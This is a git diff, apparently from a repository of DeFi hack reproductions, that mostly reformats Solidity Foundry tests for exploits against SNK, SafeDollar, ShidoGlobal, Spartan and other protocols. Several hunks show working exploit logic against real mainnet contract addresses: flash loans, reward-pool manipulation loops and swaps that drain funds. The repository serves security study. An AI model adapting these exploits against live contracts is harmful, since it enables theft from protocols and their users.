b/src/test/RevertFinance_exp.sol index 222137e3..3f8a42d7 100644 --- a/src/test/RevertFinance_exp.sol +++ b/src/test/RevertFinance_exp.sol @@ -63,7 +63,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals() - ); + ); } function transferFrom(address from, address to, uint256 value) external returns (bool) { diff --git a/src/test/RodeoFinance_exp.sol b/src/test/RodeoFinance_exp.sol index 33d381b4..45a5f624 100644 --- a/src/test/RodeoFinance_exp.sol +++ b/src/test/RodeoFinance_exp.sol @@ -103,10 +103,10 @@ contract RodeoTest is Test { emit log_named_decimal_uint( "Attacker balance of unshETH after exploit", unshETH.balanceOf(address(this)), unshETH.decimals() - ); + ); emit log_named_decimal_uint( "Attacker balance of WETH after exploit", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); } function receiveFlashLoan( diff --git a/src/test/RoeFinance_exp.sol b/src/test/RoeFinance_exp.sol index d6ff3908..1041d884 100644 --- a/src/test/RoeFinance_exp.sol +++ b/src/test/RoeFinance_exp.sol @@ -60,7 +60,7 @@ contract ContractTest is DSTest { emit log_named_decimal_uint( "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals() - ); + ); } function receiveFlashLoan( diff --git a/src/test/Rubic_exp.sol b/src/test/Rubic_exp.sol index 54ebc371..be2ba94f 100644 --- a/src/test/Rubic_exp.sol +++ b/src/test/Rubic_exp.sol @@ -131,6 +131,6 @@ contract ContractTest is DSTest { emit log_named_decimal_uint( "[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals() - ); + ); } } diff --git a/src/test/SELLC03_exp.sol b/src/test/SELLC03_exp.sol index 73be8673..9ab8fa91 100644 --- a/src/test/SELLC03_exp.sol +++ b/src/test/SELLC03_exp.sol @@ -52,7 +52,7 @@ contract ContractTest is Test { oracle.flashLoan(600 * 1e18, 0, address(this), new bytes(1)); emit log_named_decimal_uint( "[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals() - ); + ); } function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { diff --git a/src/test/SELLC_exp.sol b/src/test/SELLC_exp.sol index 7b2dc64e..7067f6ba 100644 --- a/src/test/SELLC_exp.sol +++ b/src/test/SELLC_exp.sol @@ -63,7 +63,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals() - ); + ); } function init() internal { diff --git a/src/test/SHIDO_exp.sol b/src/test/SHIDO_exp.sol index dce5dbfa..76a13a10 100644 --- a/src/test/SHIDO_exp.sol +++ b/src/test/SHIDO_exp.sol @@ -61,7 +61,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals() - ); + ); } function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { diff --git a/src/test/SNK_exp.sol b/src/test/SNK_exp.sol index d0451ebd..ebe817eb 100644 --- a/src/test/SNK_exp.sol +++ b/src/test/SNK_exp.sol @@ -12,7 +12,6 @@ import "./interface.sol"; // @Summary // parent `rewardPerToken`, but times all children's balance - interface IPancakeRouter01 { function factory() external pure returns (address); function WETH() external pure returns (address); @@ -20,92 +19,125 @@ interface IPancakeRouter01 { function addLiquidity( address tokenA, address tokenB, - uint amountADesired, - uint amountBDesired, - uint amountAMin, - uint amountBMin, + uint256 amountADesired, + uint256 amountBDesired, + uint256 amountAMin, + uint256 amountBMin, address to, - uint deadline - ) external returns (uint amountA, uint amountB, uint liquidity); + uint256 deadline + ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); function addLiquidityETH( address token, - uint amountTokenDesired, - uint amountTokenMin, - uint amountETHMin, + uint256 amountTokenDesired, + uint256 amountTokenMin, + uint256 amountETHMin, address to, - uint deadline - ) external payable returns (uint amountToken, uint amountETH, uint liquidity); + uint256 deadline + ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function removeLiquidity( address tokenA, address tokenB, - uint liquidity, - uint amountAMin, - uint amountBMin, + uint256 liquidity, + uint256 amountAMin, + uint256 amountBMin, address to, - uint deadline - ) external returns (uint amountA, uint amountB); + uint256 deadline + ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, - uint liquidity, - uint amountTokenMin, - uint amountETHMin, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, address to, - uint deadline - ) external returns (uint amountToken, uint amountETH); + uint256 deadline + ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, - uint liquidity, - uint amountAMin, - uint amountBMin, + uint256 liquidity, + uint256 amountAMin, + uint256 amountBMin, address to, - uint deadline, - bool approveMax, uint8 v, bytes32 r, bytes32 s - ) external returns (uint amountA, uint amountB); + uint256 deadline, + bool approveMax, + uint8 v, + bytes32 r, + bytes32 s + ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, - uint liquidity, - uint amountTokenMin, - uint amountETHMin, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, address to, - uint deadline, - bool approveMax, uint8 v, bytes32 r, bytes32 s - ) external returns (uint amountToken, uint amountETH); + uint256 deadline, + bool approveMax, + uint8 v, + bytes32 r, + bytes32 s + ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( - uint amountIn, - uint amountOutMin, + uint256 amountIn, + uint256 amountOutMin, address[] calldata path, address to, - uint deadline - ) external returns (uint[] memory amounts); + uint256 deadline + ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( - uint amountOut, - uint amountInMax, + uint256 amountOut, + uint256 amountInMax, + address[] calldata path, + address to, + uint256 deadline + ) external returns (uint256[] memory amounts); + function swapExactETHForTokens( + uint256 amountOutMin, + address[] calldata path, + address to, + uint256 deadline + ) external payable returns (uint256[] memory amounts); + function swapTokensForExactETH( + uint256 amountOut, + uint256 amountInMax, + address[] calldata path, + address to, + uint256 deadline + ) external returns (uint256[] memory amounts); + function swapExactTokensForETH( + uint256 amountIn, + uint256 amountOutMin, + address[] calldata path, + address to, + uint256 deadline + ) external returns (uint256[] memory amounts); + function swapETHForExactTokens( + uint256 amountOut, address[] calldata path, address to, - uint deadline - ) external returns (uint[] memory amounts); - function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) - external - payable - returns (uint[] memory amounts); - function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) - external - returns (uint[] memory amounts); - function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) - external - returns (uint[] memory amounts); - function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) - external - payable - returns (uint[] memory amounts); - - function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); - function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); - function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); - function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); - function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); + uint256 deadline + ) external payable returns (uint256[] memory amounts); + + function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB); + function getAmountOut( + uint256 amountIn, + uint256 reserveIn, + uint256 reserveOut + ) external pure returns (uint256 amountOut); + function getAmountIn( + uint256 amountOut, + uint256 reserveIn, + uint256 reserveOut + ) external pure returns (uint256 amountIn); + function getAmountsOut( + uint256 amountIn, + address[] calldata path + ) external view returns (uint256[] memory amounts); + function getAmountsIn( + uint256 amountOut, + address[] calldata path + ) external view returns (uint256[] memory amounts); } + interface ISNKMinter { function bindParent(address parent) external; function stake(uint256 amount) external; @@ -123,22 +155,22 @@ contract SNKExp is Test, IPancakeCallee { address[] public parents; function setUp() public { - cheats.createSelectFork("bsc", 27784455); + cheats.createSelectFork("bsc", 27_784_455); deal(address(SNKToken), address(this), 1000 ether); - for (uint i = 0; i < 10; ++ i) { + for (uint256 i = 0; i < 10; ++i) { HackerTemplate t1 = new HackerTemplate(); SNKToken.transfer(address(t1), 100 ether); t1.stake(); parents.push(address(t1)); } - uint startTime = block.timestamp; + uint256 startTime = block.timestamp; vm.warp(startTime + 20 days); SNKToken.approve(address(router), type(uint256).max); SNKToken.approve(address(pool), type(uint256).max); } function testNormal() external { - for (uint i = 0; i < 10; ++ i) { + for (uint256 i = 0; i < 10; ++i) { HackerTemplate t = HackerTemplate(parents[i]); t.exit2(); } @@ -147,35 +179,26 @@ contract SNKExp is Test, IPancakeCallee { path[1] = (address(BUSD)); emit log_named_decimal_uint("Normal SNK Amount should get", SNKToken.balanceOf(address(this)), 18); router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - SNKToken.balanceOf(address(this)), - 0, - path, - address(this), - block.timestamp + 1000 + SNKToken.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000 ); emit log_named_decimal_uint("Normal BUSD Amount should get", BUSD.balanceOf(address(this)), 18); } function testExp() external { - pool.swap(80000 ether, 0, address(this), bytes("0x123")); - + pool.swap(80_000 ether, 0, address(this), bytes("0x123")); address[] memory path = new address[](2); path[0] = address(SNKToken); path[1] = (address(BUSD)); emit log_named_decimal_uint("EXP SNK Amount get", SNKToken.balanceOf(address(this)), 18); router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - SNKToken.balanceOf(address(this)), - 0, - path, - address(this), - block.timestamp + 1000 + SNKToken.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000 ); emit log_named_decimal_uint("EXP BUSD Amount get", BUSD.balanceOf(address(this)), 18); } - function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external { - for (uint i = 0; i < 10; ++ i) { + function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external { + for (uint256 i = 0; i < 10; ++i) { HackerTemplate t1 = new HackerTemplate(); HackerTemplate t = HackerTemplate(parents[i]); t1.bind(parents[i]); @@ -184,12 +207,11 @@ contract SNKExp is Test, IPancakeCallee { t.exit2(); t1.exit1(); } - SNKToken.transfer(address(pool), 85000 ether); + SNKToken.transfer(address(pool), 85_000 ether); } } contract HackerTemplate { - IERC20 SNKToken = IERC20(0x05e2899179003d7c328de3C224e9dF2827406509); ISNKMinter minter = ISNKMinter(0xA3f5ea945c4970f48E322f1e70F4CC08e70039ee); address public owner; @@ -203,21 +225,21 @@ contract HackerTemplate { _; } - function stake() public onlyOwner{ + function stake() public onlyOwner { SNKToken.approve(address(minter), SNKToken.balanceOf(address(this))); minter.stake(SNKToken.balanceOf(address(this))); } - function bind(address p) public onlyOwner{ + function bind(address p) public onlyOwner { minter.bindParent(p); } - function exit1() public onlyOwner{ + function exit1() public onlyOwner { minter.exit(); SNKToken.transfer(owner, SNKToken.balanceOf(address(this))); } - function exit2() public onlyOwner{ + function exit2() public onlyOwner { minter.getReward(); minter.exit(); SNKToken.transfer(owner, SNKToken.balanceOf(address(this))); diff --git a/src/test/SUT_exp.sol b/src/test/SUT_exp.sol index a6d6c3e2..9edcade6 100644 --- a/src/test/SUT_exp.sol +++ b/src/test/SUT_exp.sol @@ -59,7 +59,7 @@ contract SUTTest is Test { emit log_named_decimal_uint( "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals() - ); + ); } function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { diff --git a/src/test/SVT_exp.sol b/src/test/SVT_exp.sol index c06f1b80..cffa5266 100644 --- a/src/test/SVT_exp.sol +++ b/src/test/SVT_exp.sol @@ -14,7 +14,6 @@ interface ISVTpool { function sell(uint256 amount) external; } - contract ContractTest is DSTest { IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955); IERC20 SVT = IERC20(0x657334B4FF7bDC4143941B1F94301f37659c6281); @@ -24,7 +23,7 @@ contract ContractTest is DSTest { CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("bsc", 31178238 -1); + cheats.createSelectFork("bsc", 31_178_238 - 1); } function testExploit() public { @@ -39,19 +38,16 @@ contract ContractTest is DSTest { function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { // Buy SVT with BUSD uint256 amount = BUSD.balanceOf(address(this)); - pool.buy(amount/2); + pool.buy(amount / 2); uint256 svtBalance1 = SVT.balanceOf(address(this)); - pool.buy(amount - amount/2); + pool.buy(amount - amount / 2); uint256 svtBalance2 = SVT.balanceOf(address(this)) - svtBalance1; console2.log(svtBalance2); console2.log(svtBalance1); // Sell SVT for BUSD pool.sell(svtBalance2); pool.sell(SVT.balanceOf(address(this)) * 62 / 100); - + BUSD.transfer(dodo, quoteAmount); - } - - } diff --git a/src/test/SafeDollar_exp.sol b/src/test/SafeDollar_exp.sol index 886629e5..9bd28686 100644 --- a/src/test/SafeDollar_exp.sol +++ b/src/test/SafeDollar_exp.sol @@ -5,27 +5,25 @@ import "./interface.sol"; // @Analysis - -interface SdoRewardPOOL{ +interface SdoRewardPOOL { function deposit(uint256 _pid, uint256 _amount) external; function withdraw(uint256 _pid, uint256 _amount) external; function harvestAllRewards() external; function updatePool(uint256 _pid) external; - function pendingReward(uint256, address) external returns(uint256); + function pendingReward(uint256, address) external returns (uint256); } -interface PolydexRouter{ +interface PolydexRouter { function swapExactTokensForTokensSupportingFeeOnTransferTokens( - uint amountIn, - uint amountOutMin, + uint256 amountIn, + uint256 amountOutMin, address[] calldata path, address to, - uint deadline + uint256 deadline ) external; } -contract depositToken{ - +contract depositToken { IERC20 SDO = IERC20(0x86BC05a6f65efdaDa08528Ec66603Aef175D967f); IERC20 WMATIC = IERC20(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270); IERC20 PLX = IERC20(0x7A5dc8A09c831251026302C93A778748dd48b4DF); @@ -34,33 +32,29 @@ contract depositToken{ SdoRewardPOOL Pool = SdoRewardPOOL(0x17684f4d5385FAc79e75CeafC93f22D90066eD5C); CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); - function depositPLX() payable external{ + function depositPLX() external payable { address(WMATIC).call{value: 1 ether}(""); - address [] memory path = new address[](2); + address[] memory path = new address[](2); path[0] = address(WMATIC); path[1] = address(PLX); - WMATIC.approve(address(Router), type(uint).max); - PLX.approve(address(Pool), type(uint).max); + WMATIC.approve(address(Router), type(uint256).max); + PLX.approve(address(Pool), type(uint256).max); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - WMATIC.balanceOf(address(this)), - 0, - path, - address(this), - block.timestamp + WMATIC.balanceOf(address(this)), 0, path, address(this), block.timestamp ); Pool.deposit(uint256(9), PLX.balanceOf(address(this))); } - function withdrawPLX() external{ + function withdrawPLX() external { Pool.withdraw(uint256(9), PLX.balanceOf(address(Pool))); } - function sellSDO() external{ - address [] memory path = new address[](2); + function sellSDO() external { + address[] memory path = new address[](2); path[0] = address(SDO); path[1] = address(USDC); - USDC.approve(address(Router), type(uint).max); - SDO.approve(address(Router), type(uint).max); + USDC.approve(address(Router), type(uint256).max); + SDO.approve(address(Router), type(uint256).max); // require(SDO.balanceOf(address(this)) < type(uint112).max, "overflow"); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( // SDO.balanceOf(address(this)), @@ -71,11 +65,9 @@ contract depositToken{ block.timestamp ); } - } -contract ContractTest is DSTest{ - +contract ContractTest is DSTest { IERC20 SDO = IERC20(0x86BC05a6f65efdaDa08528Ec66603Aef175D967f); IERC20 WMATIC = IERC20(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270); IERC20 PLX = IERC20(0x7A5dc8A09c831251026302C93A778748dd48b4DF); @@ -85,118 +77,96 @@ contract ContractTest is DSTest{ SdoRewardPOOL Pool = SdoRewardPOOL(0x17684f4d5385FAc79e75CeafC93f22D90066eD5C); Uni_Pair_V2 Pair1 = Uni_Pair_V2(0xD33992A7367523B04949C7693d6506d4a7e19446); // WETH PLX Uni_Pair_V2 Pair2 = Uni_Pair_V2(0x948d4AE4e9Ebf2AC6E787D29B94d0fF440EF2e4D); // WMATIC PLX - uint amounts0; - uint amounts1; + uint256 amounts0; + uint256 amounts1; address addressContract; - uint reserve0Pair1; - uint reserve1Pair1; - uint reserve0Pair2; - uint reserve1Pair2; + uint256 reserve0Pair1; + uint256 reserve1Pair1; + uint256 reserve0Pair2; + uint256 reserve1Pair2; CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("polygon", 16225172); + cheats.createSelectFork("polygon", 16_225_172); } function testExploit() public payable { - - PLX.approve(address(Pool), type(uint).max); - WMATIC.approve(address(Router), type(uint).max); - (reserve0Pair1, reserve1Pair1, ) = Pair1.getReserves(); - (reserve0Pair2, reserve1Pair2, ) = Pair2.getReserves(); - address(WMATIC).call{value: 10000 ether}(""); + PLX.approve(address(Pool), type(uint256).max); + WMATIC.approve(address(Router), type(uint256).max); + (reserve0Pair1, reserve1Pair1,) = Pair1.getReserves(); + (reserve0Pair2, reserve1Pair2,) = Pair2.getReserves(); + address(WMATIC).call{value: 10_000 ether}(""); // depost PLX ContractFactory(); - (bool success, ) = addressContract.call{value: 1 ether}(abi.encodeWithSignature("depositPLX()")); + (bool success,) = addressContract.call{value: 1 ether}(abi.encodeWithSignature("depositPLX()")); //revert(); require(success); // change block.timestamp - cheats.warp(block.timestamp + 5 * 60 * 60); + cheats.warp(block.timestamp + 5 * 60 * 60); amounts0 = PLX.balanceOf(address(Pair1)) - 1 * 1e18; Pair1.swap(amounts0, 0, address(this), new bytes(1)); // change block.timestamp - cheats.warp(block.timestamp + 5 * 60 * 60 +1); - uint amountreward = Pool.pendingReward(uint(9), addressContract); - (bool success1, ) = addressContract.call(abi.encodeWithSignature("withdrawPLX()")); + cheats.warp(block.timestamp + 5 * 60 * 60 + 1); + uint256 amountreward = Pool.pendingReward(uint256(9), addressContract); + (bool success1,) = addressContract.call(abi.encodeWithSignature("withdrawPLX()")); require(success1); - emit log_named_decimal_uint( - "Attacker SDO profit after exploit", - SDO.balanceOf(addressContract), - 18 - ); + emit log_named_decimal_uint("Attacker SDO profit after exploit", SDO.balanceOf(addressContract), 18); - (bool success2, ) = addressContract.call(abi.encodeWithSignature("sellSDO()")); + (bool success2,) = addressContract.call(abi.encodeWithSignature("sellSDO()")); require(success2); WMATIC.balanceOf(address(this)); - - - emit log_named_decimal_uint( - "Attacker USDC profit after exploit", - USDC.balanceOf(addressContract), - 6 - ); - + emit log_named_decimal_uint("Attacker USDC profit after exploit", USDC.balanceOf(addressContract), 6); } - function polydexCall(address sender, uint amount0, uint amount1, bytes calldata data) public{ - if(msg.sender == address(Pair1)){ + function polydexCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { + if (msg.sender == address(Pair1)) { amounts1 = PLX.balanceOf(address(Pair2)) - 1e18; Pair2.swap(0, amounts1, address(this), new bytes(1)); // flashswap callback pair1 - uint amountPLX0 = PLX.balanceOf(address(this)); - uint amountBuy = (amounts0 - amountPLX0) * 1011 / 1000 *1000 / 995; + uint256 amountPLX0 = PLX.balanceOf(address(this)); + uint256 amountBuy = (amounts0 - amountPLX0) * 1011 / 1000 * 1000 / 995; buyPLX(amountBuy); PLX.transfer(address(Pair1), PLX.balanceOf(address(this))); - // exploiter repay WETH to pair, but i dont konw how get weth on ploygon, weth-wmatic lack of liquidity ,i choose to repay plx + // exploiter repay WETH to pair, but i dont konw how get weth on ploygon, weth-wmatic lack of liquidity ,i choose to repay plx // uint PLXInPari1 = PLX.balanceOf(address(Pair1)); - // uint WETHInPair1 = WETH.balanceOf(address(Pair1)); - // uint amountWETH = + // uint WETHInPair1 = WETH.balanceOf(address(Pair1)); + // uint amountWETH = // (reserve0Pair1 * reserve1Pair1 / ((PLXInPari1 * 1000 - (amountPLX0 * 2 * 995 / 1000)) / 1000) - WETHInPair1) * 1000 / 998; // buyWETH(amountWETH); // PLX.transfer(address(Pair1), amountWETH); } - if(msg.sender == address(Pair2)){ + if (msg.sender == address(Pair2)) { //reduced lptoken - while(PLX.balanceOf(address(Pool)) > 100){ - uint256 amount = PLX.balanceOf(address(this)); - if(PLX.balanceOf(address(this)) * 5 / 1000 > PLX.balanceOf(address(Pool))){ - amount = PLX.balanceOf(address(Pool)) * 1000 / 5; - } - Pool.deposit(uint256(9), amount); - Pool.withdraw(uint256(9), amount); + while (PLX.balanceOf(address(Pool)) > 100) { + uint256 amount = PLX.balanceOf(address(this)); + if (PLX.balanceOf(address(this)) * 5 / 1000 > PLX.balanceOf(address(Pool))) { + amount = PLX.balanceOf(address(Pool)) * 1000 / 5; + } + Pool.deposit(uint256(9), amount); + Pool.withdraw(uint256(9), amount); } - // flashswap callback pair2 - PLX.transfer(address(Pair2), amounts1 * 1000 / 995 + 1e18); - - } - + // flashswap callback pair2 + PLX.transfer(address(Pair2), amounts1 * 1000 / 995 + 1e18); } + } - function ContractFactory() public{ + function ContractFactory() public { address _add; bytes memory bytecode = type(depositToken).creationCode; - assembly{ - _add := create2(0, add(bytecode, 32), mload(bytecode), 1) - } + assembly { + _add := create2(0, add(bytecode, 32), mload(bytecode), 1) + } addressContract = _add; } - function buyPLX(uint amount) public{ - address [] memory path = new address[](2); + function buyPLX(uint256 amount) public { + address[] memory path = new address[](2); path[0] = address(WMATIC); path[1] = address(PLX); - Router.swapTokensForExactTokens( - amount, - WMATIC.balanceOf(address(this)), - path, - address(this), - block.timestamp - ); + Router.swapTokensForExactTokens(amount, WMATIC.balanceOf(address(this)), path, address(this), block.timestamp); } - - -} \ No newline at end of file +} diff --git a/src/test/Sentiment_exp.sol b/src/test/Sentiment_exp.sol index 419b06e3..ffeb16d9 100644 --- a/src/test/Sentiment_exp.sol +++ b/src/test/Sentiment_exp.sol @@ -86,16 +86,16 @@ contract ContractTest is Test { console.log("\r"); emit log_named_decimal_uint( "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals() - ); + ); emit log_named_decimal_uint( "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals() - ); + ); emit log_named_decimal_uint( "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); emit log_named_decimal_uint( "Attacker WBTC balance after exploit", WBTC.balanceOf(address(this)), WBTC.decimals() - ); + ); } function executeOperation( diff --git a/src/test/SheepFarm2_exp.sol b/src/test/SheepFarm2_exp.sol index 8b754b57..872d4865 100644 --- a/src/test/SheepFarm2_exp.sol +++ b/src/test/SheepFarm2_exp.sol @@ -38,7 +38,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "SheepFarm exploiter profit after attack (in BNB):", afterBalance - beforeBalance, 18 - ); + ); } receive() external payable {} diff --git a/src/test/ShidoGlobal_exp.sol b/src/test/ShidoGlobal_exp.sol index ae0f8810..8acf991b 100644 --- a/src/test/ShidoGlobal_exp.sol +++ b/src/test/ShidoGlobal_exp.sol @@ -23,72 +23,46 @@ contract ShidoTest is Test { IERC20 SHIDOInu = IERC20(0x733Af324146DCfe743515D8D77DC25140a07F9e0); // SHIDO Standard Token IERC20 SHIDO = IERC20(0xa963eE460Cf4b474c35ded8fFF91c4eC011FB640); - IDPPOracle DPPAdvanced = - IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d); - Uni_Router_V2 PancakeRouter = - Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); - Uni_Router_V2 AddRemoveLiquidityForFeeOnTransferTokens = - Uni_Router_V2(0x9869674E80D632F93c338bd398408273D20a6C8e); - IShidoLock ShidoLock = - IShidoLock(0xaF0CA21363219C8f3D8050E7B61Bb5f04e02F8D4); + IDPPOracle DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d); + Uni_Router_V2 PancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); + Uni_Router_V2 AddRemoveLiquidityForFeeOnTransferTokens = Uni_Router_V2(0x9869674E80D632F93c338bd398408273D20a6C8e); + IShidoLock ShidoLock = IShidoLock(0xaF0CA21363219C8f3D8050E7B61Bb5f04e02F8D4); CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("bsc", 29365171); + cheats.createSelectFork("bsc", 29_365_171); cheats.label(address(WBNB), "WBNB"); cheats.label(address(SHIDOInu), "SHIDOInu"); cheats.label(address(SHIDO), "SHIDO"); cheats.label(address(DPPAdvanced), "DPPAdvanced"); cheats.label(address(PancakeRouter), "PancakeRouter"); - cheats.label( - address(AddRemoveLiquidityForFeeOnTransferTokens), - "AddRemoveLiquidityForFeeOnTransferTokens" - ); + cheats.label(address(AddRemoveLiquidityForFeeOnTransferTokens), "AddRemoveLiquidityForFeeOnTransferTokens"); cheats.label(address(ShidoLock), "ShidoLock"); } function testExploit() external { - emit log_named_decimal_uint( - "[Start] WBNB amount before attack", - WBNB.balanceOf(address(this)), - WBNB.decimals() - ); + emit log_named_decimal_uint("[Start] WBNB amount before attack", WBNB.balanceOf(address(this)), WBNB.decimals()); // Step 1. Borrow flash loan (40 WBNB) DPPAdvanced.flashLoan(40e18, 0, address(this), new bytes(1)); - emit log_named_decimal_uint( - "[End] WBNB amount after attack", - WBNB.balanceOf(address(this)), - WBNB.decimals() - ); + emit log_named_decimal_uint("[End] WBNB amount after attack", WBNB.balanceOf(address(this)), WBNB.decimals()); } - function DPPFlashLoanCall( - address sender, - uint256 baseAmount, - uint256 quoteAmount, - bytes calldata data - ) external { + function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { // Approvals WBNB.approve(address(PancakeRouter), type(uint256).max); - SHIDOInu.approve( - address(AddRemoveLiquidityForFeeOnTransferTokens), - type(uint256).max - ); + SHIDOInu.approve(address(AddRemoveLiquidityForFeeOnTransferTokens), type(uint256).max); SHIDOInu.approve(address(ShidoLock), type(uint256).max); SHIDO.approve(address(PancakeRouter), type(uint256).max); // Step 2. Swap WBNB (39 WBNB, 18 decimals) to obtain SHIDOInu tokens (9 decimals) - swapWBNBToSHIDOInu( - 39e18, - address(AddRemoveLiquidityForFeeOnTransferTokens) - ); + swapWBNBToSHIDOInu(39e18, address(AddRemoveLiquidityForFeeOnTransferTokens)); WBNB.withdraw(10e15); swapWBNBToSHIDOInu(100e15, address(this)); - AddRemoveLiquidityForFeeOnTransferTokens.addLiquidityETH{ - value: 0.01 ether - }(address(SHIDOInu), 1e9, 1, 1, address(this), block.timestamp + 100); + AddRemoveLiquidityForFeeOnTransferTokens.addLiquidityETH{value: 0.01 ether}( + address(SHIDOInu), 1e9, 1, 1, address(this), block.timestamp + 100 + ); // Step 3. Sequentially invoke lockTokens() and claimTokens() to convert SHIDOInu to standard SHIDO tokens (18 decimals) ShidoLock.lockTokens(); @@ -106,11 +80,7 @@ contract ShidoTest is Test { path[0] = address(WBNB); path[1] = address(SHIDOInu); PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( - amountIn, - 20, - path, - to, - block.timestamp + 100 + amountIn, 20, path, to, block.timestamp + 100 ); } @@ -119,11 +89,7 @@ contract ShidoTest is Test { path[0] = address(SHIDO); path[1] = address(WBNB); PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( - SHIDO.balanceOf(address(this)), - 500e18, - path, - address(this), - block.timestamp + 100 + SHIDO.balanceOf(address(this)), 500e18, path, address(this), block.timestamp + 100 ); } diff --git a/src/test/SpaceGodzilla.exp.sol b/src/test/SpaceGodzilla.exp.sol index 6907afc7..7e5ae69c 100644 --- a/src/test/SpaceGodzilla.exp.sol +++ b/src/test/SpaceGodzilla.exp.sol @@ -61,7 +61,7 @@ contract AttackContract is Test { emit log_string("This reproduce shows how attacker exploit SpaceGodzilla, cause 25,378 BUSD lost"); emit log_string( "[Note] We skipped the part where the attacker made a flash loan with 16 pools to get the initial capital" - ); + ); // Attacker flashloan 16 pools, to borrow 2.95 millon USDT as initial capital stdstore.target(USDT).sig(IERC20(USDT).balanceOf.selector).with_key(address(this)).checked_write( diff --git a/src/test/Spartan_exp.t.sol b/src/test/Spartan_exp.t.sol index c8eaf6f3..c9ec3e07 100644 --- a/src/test/Spartan_exp.t.sol +++ b/src/test/Spartan_exp.t.sol @@ -1,116 +1,111 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.17; - -import "forge-std/Test.sol"; - -// @KeyInfo - Total Lost: $30.5M -// Attacker: 0x3b6e77722e2bbe97c1cfa337b42c0939aeb83671 -// Attack Contract: 0x288315639c1145f523af6d7a5e4ccf8238cd6a51 -// Vulnerable Contract: 0x3de669c4f1f167a8afbc9993e4753b84b576426f -// Attack Tx: https://explorer.phalcon.xyz/tx/bsc/0xb64ae25b0d836c25d115a9368319902c972a0215bd108ae17b1b9617dfb93af8?line=0 - -// @Analyses -// https://medium.com/amber-group/exploiting-spartan-protocols-lp-share-calculation-flaws-391437855e74 -// https://rekt.news/spartan-rekt/ - -contract Exploit is Test { - IWBNB private constant WBNB = IWBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); - IERC20 private constant SPARTA = IERC20(0xE4Ae305ebE1AbE663f261Bc00534067C80ad677C); - - IUniswapV2Pair private constant CAKE_WBNB = IUniswapV2Pair(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0); - - ISpartanPool private constant SPT1_WBNB = ISpartanPool(0x3de669c4F1f167a8aFBc9993E4753b84b576426f); 